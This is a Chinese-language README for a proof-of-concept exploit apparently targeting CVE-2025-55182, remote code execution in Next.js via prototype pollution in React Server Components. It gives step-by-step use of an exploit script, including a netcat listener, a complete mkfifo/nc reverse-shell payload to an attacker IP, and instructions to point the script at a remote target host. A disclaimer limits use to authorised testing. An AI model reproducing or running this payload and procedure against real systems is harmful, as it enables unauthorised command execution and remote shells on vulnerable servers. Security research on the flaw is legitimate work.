一个概念验证漏洞利用,演示了通过React服务器组件渲染管道中的原型污染导致Next.js应用程序中存在远程代码执行漏洞。
此工具仅用于教育和授权测试目的。未经授权针对您不拥有或未经许可测试的系统使用是违法的。
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
注意:预配置的实验室已包含必要的易受攻击代码。如果从头创建,您需要手动添加易受攻击的组件。
cd react2shell-lab
npm install
在终端1中:
npm run dev
服务器应启动在 http://localhost:3000
仓库包含一个 exploit.py 文件,演示了该漏洞。编辑文件中的 COMMAND 变量为您想要的命令:
COMMAND = 'whoami' # Change this to any command you want to execute
运行漏洞利用:
python3 exploit.py
在一个新终端中设置netcat监听器:
nc -nvlp 4444
编辑 exploit.py 并将命令更新为您的反弹shell载荷:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
将 YOUR_IP 替换为您本地机器的IP地址。
运行漏洞利用:
python3 exploit.py
编辑漏洞利用脚本中的 HOST 变量以针对远程服务器:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig 或 ip a本项目采用MIT许可证 - 详见 LICENSE 文件。
此版本要求用户输入远程目标和攻击者IP及端口。此版本中的POST正文(body_parts)也略有缩减。
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained